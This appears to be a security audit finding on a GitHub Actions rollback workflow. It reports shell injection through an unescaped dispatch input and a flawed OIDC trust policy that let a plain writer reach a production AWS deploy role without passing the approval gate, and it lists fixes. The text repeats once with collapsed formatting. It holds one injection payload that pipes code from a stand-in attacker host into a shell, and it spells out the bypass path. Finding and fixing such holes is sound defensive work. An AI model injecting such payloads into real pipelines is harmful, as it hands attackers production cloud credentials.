Reviewed commit: be11bdcb5. Note: origin/main moved to 3e9660d06 during the review; re-verify against current main before changing code, since a finding may have moved.
Severity: CRITICAL. Shell injection reaching production cloud credentials while bypassing the GitHub Environment approval gate.
Where
.github/workflows/rollback.yml
:35-38 (reason, type: string, free-form workflow_dispatch input)
- interpolated raw at
:108, :109, :405, :407
- worst:
:444, inside an unquoted heredoc (cat <<EOF > rollback-record.json, :438-449)
permissions: id-token: write declared at :14-16
validate job at :45 and summary job at :381 have no environment: binding
- the four
rollback-* jobs at :204, :259, :301, :343 do have one
- AWS trust policy:
terraform/environments/aws/ci-cd-permissions/role.tf:28-33
What
${{ inputs.reason }} is substituted into the shell source before bash parses it. reason set to "; curl -s https://attacker/x | sh; # is arbitrary code execution. The unquoted heredoc at :438 additionally executes $(...) inside the JSON body.
Separately, inputs.image_tag's regex guard at :68 is itself post-interpolation, so it validates nothing.
Failure scenario
The environment approval gate exists and is bypassed by the job that runs first.
The validate and summary jobs carry no environment: binding, unlike the four rollback-* jobs. The AWS deploy role's trust policy allows repo:<org/repo>:ref:refs/heads/main independently of the environment:{dev,staging,prod} subjects.
So a user with plain write access who dispatches rollback.yml from main with a malicious reason gets remote code execution in an unbound job that can mint an OIDC token and assume cudly-terraform-deploy, the full prod deploy role, without ever passing the GitHub Environment reviewer gate that protects the rollback-* jobs.
The approval control is architecturally bypassed rather than merely weak.
Fix direction
- Move every
inputs.* into env: and reference "$REASON" (quoted) in the script body.
- Quote the heredoc delimiter (
<<'EOF') and build the JSON with jq -n --arg.
- Bind every job to an environment, or drop
id-token: write to job-level permissions: only on the jobs that need it.
- Remove
repo:...:ref:refs/heads/main from the role trust policy so only environment:* subjects can assume it.
Reviewed commit:
be11bdcb5. Note:origin/mainmoved to3e9660d06during the review; re-verify against currentmainbefore changing code, since a finding may have moved.Severity: CRITICAL. Shell injection reaching production cloud credentials while bypassing the GitHub Environment approval gate.
Where
.github/workflows/rollback.yml:35-38(reason,type: string, free-formworkflow_dispatchinput):108,:109,:405,:407:444, inside an unquoted heredoc (cat <<EOF > rollback-record.json,:438-449)permissions: id-token: writedeclared at:14-16validatejob at:45andsummaryjob at:381have noenvironment:bindingrollback-*jobs at:204,:259,:301,:343do have oneterraform/environments/aws/ci-cd-permissions/role.tf:28-33What
${{ inputs.reason }}is substituted into the shell source before bash parses it.reasonset to"; curl -s https://attacker/x | sh; #is arbitrary code execution. The unquoted heredoc at:438additionally executes$(...)inside the JSON body.Separately,
inputs.image_tag's regex guard at:68is itself post-interpolation, so it validates nothing.Failure scenario
The environment approval gate exists and is bypassed by the job that runs first.
The
validateandsummaryjobs carry noenvironment:binding, unlike the fourrollback-*jobs. The AWS deploy role's trust policy allowsrepo:<org/repo>:ref:refs/heads/mainindependently of theenvironment:{dev,staging,prod}subjects.So a user with plain write access who dispatches
rollback.ymlfrommainwith a maliciousreasongets remote code execution in an unbound job that can mint an OIDC token and assumecudly-terraform-deploy, the full prod deploy role, without ever passing the GitHub Environment reviewer gate that protects therollback-*jobs.The approval control is architecturally bypassed rather than merely weak.
Fix direction
inputs.*intoenv:and reference"$REASON"(quoted) in the script body.<<'EOF') and build the JSON withjq -n --arg.id-token: writeto job-levelpermissions:only on the jobs that need it.repo:...:ref:refs/heads/mainfrom the role trust policy so onlyenvironment:*subjects can assume it.